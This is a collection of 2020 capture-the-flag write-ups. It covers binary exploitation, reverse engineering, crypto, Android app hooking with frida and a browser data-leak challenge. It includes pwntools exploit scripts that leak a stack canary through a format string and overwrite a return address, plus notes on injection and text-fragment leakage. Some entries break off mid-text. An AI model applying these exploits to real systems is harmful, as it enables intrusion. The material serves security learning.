[detailed write up on github](https://github.com/shellc0d3/CTFwriteups/tree/master/dawgctf2020/cookie_monster)```#!/usr/bin/env python2from pwn import *import sys if len(sys.argv) == 1: conn = remote('ctf.umbccd.io', 4200)else: conn = process('./cookie_monster') conn.sendlineafter('?', '%9$lx')conn.recvuntil('Hello, ')canary = p32(int(conn.recv(8), 16))conn.close() conn = process('./cookie_monster')conn.sendlineafter('?', '%11$lx')conn.recvuntil('Hello, ')ret = p64(int(conn.recv(12), 16) - 0x19a)payload = 'a'*13 + canary + 'a'*8 + retconn.sendlineafter('?', payload)print conn.recvall()conn.close()```
## sigknock WPICTF 2020 Writeup This was the challenge text: ```sigknock - 200 (Linux) Port knocking is boring. Enhance your security through obscurity using sigknock. ssh [email protected] pass: $1gkn0ck made by: acurless Note: this challenge is in no way related to the open source tool of the same name. ``` When you SSH in, you're dropped in an alpine docker container. ```$ ssh [email protected] ~ $ cat /etc/os-release NAME="Alpine Linux"ID=alpineVERSION_ID=3.11.5PRETTY_NAME="Alpine Linux v3.11"HOME_URL="https://alpinelinux.org/"BUG_REPORT_URL="https://bugs.alpinelinux.org/" ~ $ ls -lah .total 16K drwxr-sr-x 1 wpictf nogroup 4.0K Apr 19 19:53 .drwxr-xr-x 1 root root 4.0K Apr 14 05:16 ..-rw------- 1 wpictf nogroup 31 Apr 19 19:53 .ash_history ~ $ iduid=1010(wpictf) gid=65533(nogroup) groups=65533(nogroup) ~ $ ps auxPID USER TIME COMMAND 1 wpictf 0:00 {init_d} /bin/sh /bin/init_d 7 wpictf 0:00 /usr/bin/irqknock 8 wpictf 0:00 /bin/sh 12 wpictf 0:00 ps aux``` There's an interesting process running `/usr/bin/irqknock`... This must be a hint to do some interrupt requests (IRQ) against the process. I quickly discovered that sending SIGINT increased the program "state":```~ $ kill -2 $pidGot signal 2State advanced to 1``` I made this little hack to get the pid for irqknock which came in handy:```~ $ pid=$(ps aux | grep irq | grep -v grep | tr -s ' ' | cut -d ' ' -f 2)~ $ echo $pid7``` Through some trial and error I discovered the correct "IRQ knock sequence":```~ $ kill -2 $pidGot signal 2State advanced to 1 ~ $ kill -3 $pidGot signal 3State advanced to 2 ~ $ kill -11 $pidGot signal 11State advanced to 3 ~ $ kill -13 $pidGot signal 13State advanced to 4 ~ $ kill -17 $pidGot signal 17State advanced to 5WPI{1RQM@St3R}``` There's the flag `WPI{1RQM@St3R}` :D
# Tough This is a simple java program: ```javaimport java.util.*; public class tough{ public static int[] realflag = {9,4,23,8,17,1,18,0,13,7,2,20,16,10,22,12,19,6,15,21,3,14,5,11}; public static int[] therealflag = {20,16,12,9,6,15,21,3,18,0,13,7,1,4,23,8,17,2,10,22,19,11,14,5}; public static HashMap<Integer, Character> theflags = new HashMap<>(); public static HashMap<Integer, Character> theflags0 = new HashMap<>(); public static HashMap<Integer, Character> theflags1 = new HashMap<>(); public static HashMap<Integer, Character> theflags2 = new HashMap<>(); public static boolean m = true; public static boolean g = false; public static void main(String args[]) { Scanner scanner = new Scanner(System.in); System.out.print("Enter flag: "); String userInput = scanner.next(); String input = userInput.substring("rtcp{".length(),userInput.length()-1); if (check(input)) { System.out.println("Access granted."); } else { System.out.println("Access denied!"); } } public static boolean check(String input){ boolean h = false; String flag = "ow0_wh4t_4_h4ckr_y0u_4r3"; // realflag createMap(theflags, input, m); // therealflag createMap(theflags0, flag, g); // therealflag createMap(theflags1, input, g); // realflag createMap(theflags2, flag, m); String theflag = ""; String thefinalflag = ""; int i = 0; System.out.println(input.length()); System.out.println(flag.length()); if(input.length() != flag.length()){ return h; } if(input.charAt(input.length()-2) != 'o'){ return false; } if(!input.substring(2,4).equals("r3") || input.charAt(5) != '_' || input.charAt(7) != '_'){ return false; } System.out.println("arrived here"); //rtcp{h3r3s_a_fr33_fl4g!} for(; i < input.length()-3; i++){ theflag += theflags.get(i); } for(; i < input.length();i++){ theflag += theflags1.get(i); } for(int p = 0; p < theflag.length(); p++){ thefinalflag += (char)((int)(theflags0.get(p)) + (int)(theflag.charAt(p))); } for(int p = 0; p < theflag.length(); p++){ if((int)(thefinalflag.charAt(p)) > 146 && (int)(thefinalflag.charAt(p)) < 157){ // thefinalflag = thefinalflag[0:p] + chr(thefinalflag[p] + 10) + thefinalflag[p+1:] // thefinalflag[p] = thefinalflag[p] + 10 thefinalflag = thefinalflag.substring(0,p) + (char)((int)(thefinalflag.charAt(p)+10)) + thefinalflag.substring(p+1); } } return thefinalflag.equals("ì¨ ¢«¢¥Ç©© ÂëÏãҝËãhÔÊ"); } public static void createMap(HashMap owo, String input, boolean uwu){ if(uwu){ for(int i = 0; i < input.length(); i++){ owo.put(realflag[i], input.charAt(i)); } } else{ for(int i = 0; i < input.length(); i++){ owo.put(therealflag[i], input.charAt(i)); } } }}``` We can crack it using z3: ```py#!/usr/bin/env python3 from z3 import *import sys s = Solver()realflag = [9,4,23,8,17,1,18,0,13,7,2,20,16,10,22,12,19,6,15,21,3,14,5,11]therealflag = [20,16,12,9,6,15,21,3,18,0,13,7,1,4,23,8,17,2,10,22,19,11,14,5]flag = "ow0_wh4t_4_h4ckr_y0u_4r3"my_input = [BitVec(f"a_{i:2}", 8) for i in range(len(flag))]theflag = [BitVec(f"c_{i}", 8) for i in range(len(flag) * 2)]thefinalflag = [BitVec(f"f_{i}", 8) for i in range(len(flag) * 2)]definitive = [BitVec(f"s_{i}", 8) for i in range(len(flag) * 2)] theflags = {}theflags0 = {}theflags1 = {}theflags2 = {}for i in range(len(my_input)): theflags[realflag[i]] = my_input[i] theflags0[therealflag[i]] = flag[i] theflags1[therealflag[i]] = my_input[i] theflags2[realflag[i]] = flag[i] for m in my_input: s.add(m >= 0x20, m < 0x7f) s.add(my_input[-2] == ord('o'))for i in range(2): s.add(my_input[i + 2] != ord("re"[i]))s.add(my_input[5] == ord('_'))s.add(my_input[7] == ord('_')) k = 0z = 0for i in range(len(my_input) - 3): s.add(theflag[k] == theflags.get(i)) k += 1 for i in range(len(my_input) - 3, len(my_input)): s.add(theflag[k] == theflags1.get(i)) k += 1 for i in range(k): s.add(thefinalflag[z] == ord(theflags0.get(i)) + theflag[i]) z += 1 # x == 5# x == x + 5for i in range(k): x = If(And(thefinalflag[i] > 146, thefinalflag[i] < 157), 10, 0) s.add(definitive[i] == thefinalflag[i] + Int2BV(x, 8)) final_check = [157, 157, 236, 168, 160, 162, 171, 162, 165, 199, 169, 169, 160, 194, 235, 207, 227, 210, 157, 203, 227, 104, 212, 202]for f, c in zip(definitive, final_check): s.add(f == c) print(s.check())m = s.model()#print(m)model = sorted([(d, m[d]) for d in m], key = lambda x: str(x[0]))for m in model: if "a" in str(m[0]): print(chr(m[1].as_long()), end='')print()``` Flag: rtcp{h3r3s_4_c0stly_fl4g_4you}
## tldr - use AndroidProjectCreator in docker to decompile - intercept traffic - hook with frida to get key material - write websocket client to get flag ## Description > We now have our very own trivia app! Solve 1000 questions and win a flag! [client.apk](https://houseplant.riceteacatpanda.wtf/download?file_key=99e6ad321373b3d1f3213ae8ae30917e5c125327595d1c1605ee4f3e51660b6c&team_key=78b70fc88eabbf472b22ca066f58d421f3fe929304992b6d40080947d38c944b)md5: `6e37ade89ee86c1fb9a74bc7a28304f7` We are presented with a simple trivia app for android, After entereing a name we are presented with a series of multiple choice questions. If we get one wrong we go back to the start. ## Decompiling the application Fortunately there are a lot of options to do this, my prefered one is using [AndroidProjectCreator](https://github.com/ThisIsLibra/AndroidProjectCreator). It gives you the option to choose between your prefered decompiler (CFR, Fernflow, JEB, etc...) and conveniently outputs an [Android Studio](https://developer.android.com/studio) project which can also be used to debug the Application on smali level with the use of the [smalidea plugin](https://github.com/JesusFreke/smalidea). The downside of using this tool is that it is written in java, and the installation of all the used tools can be quite picky about your installed JRE. Also full installation requires about ~1GB of space. The easiest way to use it imho is to stick it in a docker container, basing it on `maven:3.6.3-jdk-8`. ```DockerfileFROM maven:3.6.3-jdk-8 # get latest release, install it, clean up sourcesRUN LURL=`curl -s https://api.github.com/repos/ThisIsLibra/AndroidProjectCreator/releases/latest | grep browser_download_url | cut -d '"' -f 4`; \ curl -L $LURL --output AndroidProjectCreator.jar && \ java -jar AndroidProjectCreator.jar -install && \ rm -rf /library/repos && \ find . -name ".git" | xargs rm -rf ENTRYPOINT ["java", "-jar", "./AndroidProjectCreator.jar"]``` This will take some time since it builds all used tools from source. Alternatively you can just use my prebuilt docker image `koyaan/androidpc` which is roughly 1.67GB in size (thanks java build tools). This lets you easily decompile the APK here i am using JADX but do try the other decompilers especially when you get errors:To see the other avaible decompilers use run `docker run koyaan/androidpc`. ```bash$ docker run -v `pwd`:/share koyaan/androidpc -decompile JADX /share/client.apk /share/client_jadx$ chown -R $USER client_jadx # output is owned by root``` You can open this output in [Android Studio](https://developer.android.com/studio) and start analyzing the application. ## Analyzing app traffic Using Android Studio AVR Manager i created an Andoird 9.0 device (without play store so we can root). I used burp to have a look at the apps's traffic, luckily since this is a ctf app it does not use https so we are spared the hassle of [Using a custom root CA with Burp ](https://blog.nviso.eu/2018/01/31/using-a-custom-root-ca-with-burp-for-inspecting-android-n-traffic/) We can see that all relevant traffic is happening via a websocket connection: ```>> {"method":"ident","userToken":"8573fd5e83f253d4ea53543b8a85f2a4740d1e153ba8834aa0f29c06cdcd4b49"}<< {"method":"ident","success":true}>> {"method":"start"}<< {"method":"start","success":true}<< {"method":"question","id":"4cad899f-0fd4-4d28-a886-7cbc9d040fa0","questionText":"7gCqKnG0bGr+2PJnHdynPK/zNoBW0lZXTHJMzOjbv3F1Nd98xEKJzk4HZNy3j8CwNnh+NErRWEpYPA8fvAZxC+vs1pr+4vH9EZrwlRAlrXwA3yJbyQgF2n9tGWIfdJtekaEYBtsRg+vKiy/97B1vXA==","options":["QnqpR7J4645Z16ViZHk5QQ==","/27AS0mwYeGhIhGEuXPMWySX2reRXyb2rSEYCEBQad8=","SoBbsi9xFyUYo3qVtENWEA==","/2r6UZf9DaCIlB3di1gCj4nCYcQ83n4zz6EO0zQxVjY="],"correctAnswer":"/s/I/TDSnHJnydu+Hmg+tm09gKOn0ipCrzxrlSyuOmY=","requestIdentifier":"4270acd5cb0d78c7dd79abcfcb0e0cb3"}>> {"method":"answer","answer":2}<< {"method":"question","id":"23669f2f-f86c-412b-98d8-e3200cd236dc","questionText":"YlBWehQMsegqii8IDvFiuaVQyURarfqGxHQtPcQS6XQcSLcBOw3J/aqnvpvr3utg","options":["Ob+5l5dqVfuM4qL5DFc9vg==","7FWMCBcCjHE22QH55drDrw==","r3+TaK4ooFvHW3pLjwq8vg==","gXpkg1sysMhIbIW+wAwP9Q=="],"correctAnswer":"0O+nk4rDzgCbtU19G1WIT8zebL2dede/WRKT3wvX+tw=","requestIdentifier":"5a7e0558fda152f8ff9b3aebd8920d67"}>> {"method":"answer","answer":3}``` The client initializes the game by sending a `userToken` to the server and then sending a `start` request.The server sends us a question back and one field that immediatly jumps out is thhe `correctAnswer`field. Could it be that easy? Unfortunately not if we base64 decode the content we only seem to get binary data. If we have a look in `wtf.riceteacatpanda.quiz.Quiz` we can see the code that is responsible for decrypting the received question: ```java JSONObject jSONObject = new JSONObject(this.d); byte[] a2 = nx.a(new nx(Game.this.getIntent().getStringExtra("id"), Game.this.getResources()).a() + ":" + jSONObject.getString("id")); byte[] b2 = nx.b(jSONObject.getString("requestIdentifier")); SecretKeySpec secretKeySpec = new SecretKeySpec(a2, "AES"); IvParameterSpec ivParameterSpec = new IvParameterSpec(b2); Cipher instance = Cipher.getInstance("AES/CBC/PKCS7Padding"); instance.init(2, secretKeySpec, ivParameterSpec); byte[] doFinal = instance.doFinal(Base64.decode(jSONObject.getString("questionText"), 0)); Game game = Game.this; game.runOnUiThread(new Runnable(new String(doFinal)) { /* class wtf.riceteacatpanda.quiz.Game.AnonymousClass2 */ final /* synthetic */ String a; { this.a = r2; } public final void run() { ((TextView) Game.this.findViewById(2131165286)).setText(this.a); } }); for (final int i = 0; i < jSONObject.getJSONArray("options").length(); i++) { Button button = (Button) Game.this.findViewById(new int[]{2131165275, 2131165276, 2131165277, 2131165278}[i]); button.setText(new String(instance.doFinal(Base64.decode((String) jSONObject.getJSONArray("options").get(i), 0)))); button.setOnClickListener(new View.OnClickListener() { /* class wtf.riceteacatpanda.quiz.Game.AnonymousClass1.AnonymousClass2 */ public final void onClick(View view) { kr a2 = nw.a(); a2.a("{\"method\":\"answer\",\"answer\":" + i + "}"); } }); }``` `nx.a` actually is just SHA256 hash and `nx.b` converts a hex-string to bytes. What I missed for a little bit was that `.a()` call without arguments at the top, which actually is a different class method which seems to generate a hash based on the current `id` and some game assets, but we dont actually need to analyze that in more detail as we will see shortly. We DO know that all the server has gotten from us to encrypt traffic is the `userToken` we sent, and why should we go through the trouble of analyzing how all that key-material is created when we just grab it from the app? We do this using [frida](https://frida.re/) All we need to setup a proper AES CBC instance is `a2` which is used as key and `b2` which is used as IV. `b2` is just the `requestIdentifier` the server sends us so all we need is `a2`. ## Using frida to grab key material Grab [frida-server from release page](https://github.com/frida/frida/releases/download/12.8.20/frida-server-12.8.20-linux-x86_64.xz) and install it on the emulator: ```bashadb root # might be requiredadb push frida-server /data/local/tmp/adb shell "chmod 755 /data/local/tmp/frida-server"adb shell "/data/local/tmp/frida-server &"``` Now we can intercept the arguments and return value of the `nx.a` function using this script `hooknx.js`: ```javascriptJava.perform(function() { console.log("Starting\n"); const NX = Java.use('nx'); NX.a.overload("java.lang.String").implementation = function (arg) { var ret = this.a(arg); var buffer = Java.array('byte', ret); var str = ""; var b = new Uint8Array(buffer); for(var i = 0; i < b.length; i++) { str += (b[i].toString(16) + ""); } console.log('nx.a("' + arg + ') = ' + str); return ret; };})```Run it with ```bashpip install frida-tools # if you havent alreadyfrida -D emulator-5554 -l hooknx.js wtf.riceteacatpanda.quiz # inject our code into the app```Then just use the app and catch the input of `nx.a` create our AES key:(The outputs are only illustrative service is down as im writing this)```nx.a("8bdfb8fa540a6e49d1e08e2deef82fa3fff430068641984d66b8ef3812cd36d7:631823c0-533a-4ca8-b816-00b5d9d43592") = 8573fd5e83f253d4ea53543b8a85f2a4740d1e153ba8834aa0f29c06cdcd4b49``` ## Write our own client Now we can print the correct answer and choose it manually 1000 times but thats no fun so lets write our own clientAll we need to do this record the app's `userToken` and the matching input to `nx.a` and we can fully decrypt the server questions. ```pythonimport asyncioimport websocketsfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modesfrom cryptography.hazmat.primitives import paddingfrom cryptography.hazmat.backends import default_backendfrom base64 import b64decode, b64encodeimport jsonimport hashlibfrom hexdump import hexdump userToken = '3c18148b7a5d60393d99b6f8bacb05191b1109c3bc5b0deee669dd93a72f4b0a'nxa_in = 'c7f91ef0a92d7c31cca477ee3c47eb5cb506186ecfc52fc9237af714c805df60' def a(inp): inp = inp.encode() m = hashlib.sha256() m.update(inp) return m.digest() def b(inp): return bytes.fromhex(inp) key = Noneiv = None async def hello(): global key, iv uri = "ws://challs.houseplant.riceteacatpanda.wtf:40001" async with websockets.connect(uri) as websocket: async def decrypt(ct, key, iv): backend = default_backend() padder = padding.PKCS7(128).padder() unpadder = padding.PKCS7(128).unpadder() cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=backend) decryptor = cipher.decryptor() plain = decryptor.update(ct) + decryptor.finalize() plain = unpadder.update(plain) + unpadder.finalize() return plain await websocket.send(json.dumps({"method":"ident","userToken":userToken}) msg = await websocket.recv() print(f"< {msg}") await websocket.send('{"method":"start"}') msg = await websocket.recv() print(f"< {msg}") for i in range(1100): print(f'Question {i}\n') q = await websocket.recv() qj = json.loads(q) k = [k for k in qj.keys()] if( not k== ['method', 'id', 'questionText', 'options', 'correctAnswer', 'requestIdentifier']): print("something different") print(qj) a2 = a(userToken+":"+qj["id"]) b2 = b(qj["requestIdentifier"]) nxa_fullin = nxa_in+":"+qj["id"] key = a(nxa_fullin) iv = b2 decquestion = { 'question': await decrypt(b64decode(qj['questionText']), key, iv), 'correct': await decrypt(b64decode(qj['correctAnswer']), key, iv), 'options': [await decrypt(b64decode(opt), key, iv) for opt in qj['options']] } print(decquestion) correctAnswer = int(decquestion['correct']) await websocket.send(json.dumps({"method":"answer","answer":correctAnswer})) #print(f"< {q}") asyncio.get_event_loop().run_until_complete(hello())```This just answers questions in a loop and prints a server response that shows a different structure. After 1000 answered questions the server sent us the flag! `rtcp{qu1z_4pps_4re_c00l_aeecfa13}`
# Oldschool (crypto, 321p) In this task we get two pieces of the flag encrypted in different ways. ## Part 1 For the first part we get some weird picture: ![](https://raw.githubusercontent.com/TFNS/writeups/master/2020-04-12-ByteBanditsCTF/oldschool/1.jpg) Which we didn't use at all.We also get encrypted flag part and `hzdk{z_whg_mry_` some encrypted (by different method) hint `Wqv Lvf xp "hnovIvo"`.The task mentions that this was encrypted using some "French" method, so we assume it's Vigenere. Now we had no idea what is the picture and how the hint is encrypted, but just knowing that flag prefix is encrypted via Vigenere we can easily notice that `hzdk` is `flag`.From this we can immediately infer the key prefix -> `CODE`.No we assumed that maybe the hint is encrypted via some monoalphabetic substitution, and also that the word in `"` is the keyword.This means that `hnovIvo` is `CODE???`, but if it's monoalphabetic then repeated letters are encrypted the same way, so in fact we know that `hnovIvo` is `CODE?ED`!We're now missing only one character, which we can brute-force/guess and we get the flag prefix `flag{i_see_you_` ## Part 2 In this part we get some encoded data: `=]e7A=>F&G@TRAe@9#X>=>OH3:,6Kp:,6I.=F*;T>"1M.;+PJ
# Auto Bot In this challenge, we're given a service `nc pwn.byteband.it 6000`. The service provides us with a base64-encoded ELF file, the executable takes input, runs some processing on it, and compares it to a certain string, if they match, the service gives us another elf, else it prints `wrong password, lol` x) After looking into the elf with `ghidra`, i realised how it works, it takes the input string and compares it to a fixed string, the comparison happens by comparing bytes in a certain order using an array of defined integers, for ex, the array is `[0x1, 0xf, 0x1b, 0x0a]`, the comparison goes by comparing the `input[0x1] to fixed_string[0]` then `input[0xf] to fixed_string[1]` and so on, so we just need to get the array and the static string, reconstruct the password and send it to the service. I don't have good knowledge when it comes to ELF file structure, so i worked out of the usual for this one i think. so to get the `fixed_string`, i took a look at the binary of the ELF file, and i noticed that the `fixed_string` is in a pattern in the file, the pattern is `...\x00\x00fixed_string\x00Wrong pass...`, which means that by splitting the ELF file at `\x00Wrong pass` and splitting the first half at each `\x00`, we can get the `fixed_string` as it's gonna be the last element of the split result, as for the array on integers, i noticed in ghidra that the binary code for each array assignment falls into this pattern`r'c7[8|4]5..f?f?f?f?f?f?(..)000000'`(everything in hex), so by grabbing all these patterns from the binary, it'll yield the array elements in order, and that's it. So each time you get an ELF file, you get grab the `fixed_string`, grab the array, reconstruct the password and send it to the service, repeat this until it sends the flag ```flag{0pt1mus_pr1m3_has_chosen_you}```
# Meet Me There In this challenge, we were given two files, `source.py` and `output.txt`.By looking at `source.py`, we'll see that the encryption is fairly simple, it goes like this:* Generate two key in the following format: * key1: `r'0{13}\p1\p2\p3'` where `\px` is a random character from `string.printable` * key2: `r'\p1\p2\p30{13}'` where `\px` is a random character from `string.printable`* Encrypt the hex-encoded flag using `key1` in AES-ECB, let's call the output `flag_hex_enc`* Encrypt the hex-encoded `flag_hex_enc` using `key2` in AES-ECB and outputing the result in hex It's clear that we can bruteforce the keys, since there are only 3 unknown characters, and the length of `string.printable` is `100`, we'll end up with `1000000` possible values for each key, i'll take that all day, everyday. So the exploit would be something like this:1. try all possible values for `key2` until you get a hex-encoded output2. try all possible values for `key1` until you get another hex-encoded output3. decode to get flag ```flag{y0u_m@d3_i7_t0_7h3_m1dddl3}```
```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host ctf.umbccd.io --port 4200 cookie_monsterfrom pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('cookie_monster') # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or 'ctf.umbccd.io'port = int(args.PORT or 4200) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''b *0x0000555555555225b *0x0000555555555290c'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Full RELRO# Stack: No canary found# NX: NX enabled# PIE: PIE enabled io = start() io.recvuntil("name?")io.send("%9$p|%p")io.recvuntil("Hello, ")leak = io.recvline()cookie, addr = map(lambda x: int(x, 16), leak.decode().split("|"))if args.LOCAL: base = 0x555555554000else: base = addr - 0x2082 flag_addr = base + 0x11b5 io.recvline() payload = flat({ 'aaadaaae': [cookie, 0x1337, flag_addr]})io.sendline(payload)flag = io.recv(1024)log.success(flag.decode())```
​ Hello, this is enjloezz and I played this ctf with Albytross team. It was great to finish all challenges nearly 16 hours before ctf ended. Thanks to challenge authors it was really fun ctf . I’m not a reverse engineer or any kind of reverser. Please mind that :) ​ We know its a trivia game and we need to solve 1000 questions to get the flag. But we can’t play it, I don’t know why but intent is closing without waiting the CountDownTimer. I tried couple methods to bypass that but I was unable to do it. After ctf is finished one of my teammates told me its because of using custom emulator. Game working as intended on android studio emulator with the sdk version from manifest.xml! I wish I knew sooner :( Then I started to listen the socket protocol, when we enter user name its sending a request. ```json{"method":"ident","userToken":"9ba05f588e86238984b4965eaa56f49bd21c2f69c317882e5fd84aff9a5e4385"}``` First idea of userToken was sha256(username) but thats not the case. If we look closely to algorithm its purely random :) ```javafinal StringBuffer sb = new StringBuffer();while (sb.length() < 64) { sb.append(Integer.toHexString(random.nextInt()));}final String substring = sb.toString().substring(0, 64);``` Before forgetting it, everytime you send a request its sending a success response like; ```json{"method":"methodName","success":true}``` So my idea was write a custom socket client and try to reproduce this game. First step is figure out how questions delivered? Answer is send request to socket and get the response. ```json{"method":"start"}``` After this request server sends one question everytime. ```json{"method":"question","id":"0acfdfca-3543-48a6-a290-b95a449b8e66","questionText":"m2K5LEjFUCgXFPROL4WlzZbgqoHGCuHgoBo8tG92WqP0K6XrgQIdS4dQ/yB+yleMKoFgVDR6gLcT8qcZE9Kz4cq0tuEqtCtFtrKWVRYZeE0=","options":["X2z/7l6+mygiwrE6AOdkJw==","OnOVHe/7UtoSFlfJkT1H7Q==","Z3+Fgtrct2O7u1hqsAKcKw==","576l1csP0AX5Y6EcaKo2Qg=="],"correctAnswer":"EShNMH7MU91HQtIrbJCkhxHZKZEmwpmKqALVuoAdx24=","requestIdentifier":"bc1e6c71224e40d76c19b1d76d3db662"}``` ![image-20200427005135677](https://github.com/BirdsArentRealCTF/RTCP-Trivia/raw/master/image-20200427005135677.png) Every field that matters is aes-cbc encrypted with pkcs7 padding. So my idea was using frida get the KEY and IV for script you can look at my github repo (https://github.com/BirdsArentRealCTF/Writeups/tree/master/houseplant2020/RTCP-Trivia). ```KEY 61798024a3e9bb3b4be28cca863af54b2af0b4b27248599c8b7a3b1c179296bcIV bc1e6c71224e40d76c19b1d76d3db662``` Looks like IV is requestIdentifier but for key we need to make some calculations :( I'm gonna explain the image below line by line bear with me :) ```javafinal JSONObject jsonObject = new JSONObject(this.d); // => Creating JSON-Object from the response.final String a = new nx(Game.this.getIntent().getStringExtra("id"), Game.this.getResources()).a(); // => Generating a new nx object that taking two parameters. First one is userToken and second one is content.res.Resources object. I will explain why we are sending Resources object. And then call a function in nx class.final String string = jsonObject.getString("id"); // => Getting ID field from the response.final StringBuilder sb = new StringBuilder();sb.append(a);sb.append(":");sb.append(string); // => Combine return value of nx.a() method with id field from the response.final byte[] a2 = nx.a(sb.toString()); // => Send sb variable to nx.a() method and get the return value.final byte[] b = nx.b(jsonObject.getString("requestIdentifier")); // => Getting requestIdentifier field for using as IVfinal SecretKeySpec secretKeySpec = new SecretKeySpec(a2, "AES"); // => Create an AES KEY Object with a2 variable key.final IvParameterSpec IvParameterSpec = new IvParameterSpec(b); // => Create an IV Parameter Object.final Cipher Instance = Cipher.getInstance("AES/CBC/PKCS7Padding"); // => Create a Cipher Instance with given specs. "AES-CBC with PKCS7 Padding".Instance.init(2, secretKeySpec, IvParameterSpec); // => And initialize AES decoder.``` Now we know how its decoding the response. Only thing we don't know is how nx class works. Like I said I'm not reverse engineer so for understanding this part correctly you need to check other writeups because I will skip whole resource part with dynamic analysis. ```javaprivate static final char[] c;private Resources a;private String b; static { c = "0123456789ABCDEF".toCharArray();} public nx(final String b, final Resources a) { this.b = b; // userToken this.a = a; // Resource}```**There are two a method, if you don't know what method overloading is you should look at it before reading this part.** ```javapublic static byte[] a(final String s) { return MessageDigest.getInstance("SHA-256").digest(s.getBytes());} // a("string") = sha256("string") public final String a() { final InputStream openRawResource = this.a.openRawResource(2131427328); final byte[] array = new byte[openRawResource.available()]; final byte[] array2 = new byte[openRawResource.available()]; openRawResource.read(array); openRawResource.close(); new ArrayList(); final int n = 0; for (int i = 0; i < array.length; ++i) { final double n2 = i; if (Math.sqrt(n2) % 1.0 == 0.0) { array2[(int)Math.sqrt(n2)] = array[i]; } } final byte[] digest = MessageDigest.getInstance("SHA-256").digest(array2); final StringBuffer sb = new StringBuffer(); for (int j = n; j < digest.length; ++j) { final String hexString = Integer.toHexString(0xFF & digest[j]); if (hexString.length() == 1) { sb.append('0'); } sb.append(hexString); } return this.c(String.valueOf(sb));}``` This where I skip because I didn't extract the resource 2131427328. Instead of extracting it I focused return part. Its calling c method with sb parameter. So I wrote a frida hook to get the parameter. ```nx.c cbce23dfcdc7efe826d23bbf3d635d8fd55b6499d16ca8830a973ff57175119f``` This method is always getting same parameter. With this information I don't have to re-write nx.a() method or extract any resource. ```javaprivate String c(final String s) { final MessageDigest Instance = MessageDigest.getInstance("SHA-256"); // Important Part final StringBuilder sb = new StringBuilder(); sb.append(s); sb.append(":"); sb.append(this.b); final byte[] digest = Instance.digest(new String(sb.toString()).getBytes()); // After this line is just for padding final StringBuffer sb2 = new StringBuffer(); for (int i = 0; i < digest.length; ++i) { final String hexString = Integer.toHexString(0xFF & digest[i]); if (hexString.length() == 1) { sb2.append('0'); } sb2.append(hexString); } return String.valueOf(sb2);}```As we can see its basically doing this; ```sha256("cbce23dfcdc7efe826d23bbf3d635d8fd55b6499d16ca8830a973ff57175119f:this.b")``` And we know this.b is userToken, so its becoming; ```sha256("cbce23dfcdc7efe826d23bbf3d635d8fd55b6499d16ca8830a973ff57175119f:userToken")``` If we go back to generating AES key part ```javafinal String a = new nx(Game.this.getIntent().getStringExtra("id"), Game.this.getResources()).a();final String string = jsonObject.getString("id");final StringBuilder sb = new StringBuilder();sb.append(a);sb.append(":");sb.append(string);final byte[] a2 = nx.a(sb.toString());``` AES key is; ```javascriptvar f = sha256("cbce23dfcdc7efe826d23bbf3d635d8fd55b6499d16ca8830a973ff57175119f:userToken");var key = sha256(f + ":" + "requestId");``` Finally we can generate Key and IV without using apk. After here is pretty straight forward. Flow of client is; ```javascriptvar userToken = "64 char random value";var f = sha256("cbce23dfcdc7efe826d23bbf3d635d8fd55b6499d16ca8830a973ff57175119f:userToken");Send => {"method":"ident", "userToken": "userToken"}Receive => {"method":"ident","success":true}Send => {"method":"start"}Receive => {"method":"start","success":true}//---------------------------LOOP 1000 Times---------------------------Receive => {"method":"question","id":"dd85fdf1-8b7f-4b91-a43e-0a15235164fd","questionText":"IvP7c0zRIYoJlT+pJIkB1+oqpzUYf6I2M1eFN7euCk7rO/zTqDtdm3Axn0D+Pc2DPVzyRngudjFRk02yHi+7qBjcHqLoPkNDJI96gBTxSLo=","options":["uYHfqGdCnH10uE58i4WKSksfICXLugaR/qTCLx536YU=","1CgutfAAiFrRgqV8ho/DBA==","T8aYSUNeyOX1XmMdireoeybNS9CwoGZwVzCa0ahVic8=","qym/uzpEKRnmNgEpY4dj8s77/SzC8i/2hHChstSTI0Q="],"correctAnswer":"fF7GPXx/HSds3KPUEXAXjhewX+ICi+z16tnr5VJU+cs=","requestIdentifier":"b14f8dfaee7511fe040edef6ec908541"}var response = JSON.parse(response);var key = sha256(f + ":" + response.id);var iv = response.requestIdentifier;var correctAnswer = AES(key, iv).decrypt(response.correctAnswer).clearPadding();Send => {"method": "answer","answer": correctAnswer}//---------------------------LOOP 1000 Times---------------------------Receive => {"method": "flag","flag":"rtcp{qu1z_4pps_4re_c00l_aeecfa13}"}```I hope you can understand idea of this challenge. Do you have any questions or suggestion? Feel free to contact via discord. **enjloezz#7444**. References: https://github.com/frida/frida/issues/272#issuecomment-299877883 https://11x256.github.io/Frida-hooking-android-part-5/
Disclaimer: I didn't solve this challenge and this is not a full writeup. I just want to put a few useful links here. The challenge is about exploiting Chrome's [Scroll To Text Fragment](https://www.chromestatus.com/feature/4733392803332096) to leak data with lazy-loading images ``. The uBlock Origin is intended to be used to duplicate the user activation to trigger multiple text fragment leakage. See [@lbherrera''s partial solver ](https://twitter.com/lbherrera_/status/1251994130298875904) for more details. The author [@thebluepichu](https://twitter.com/thebluepichu) (I think so?) said in the IRC channel: Catalog has two injections: the image tag on the issue page and the username when you fail to login. Use the image tag one with a meta redirect to get offsite. Hint 1 + inclusion of uBlock: admin clicks on a link which gives a user activation to the active frame, uBlock sends a postMessage to its extension iframe, which duplicates the user activation. Whenever a page loads, the frontend gets a postMessage from the uBlock frame, and thus duplicates the activation back again. Now make a no-cors POST to use the failed login injection, then send them 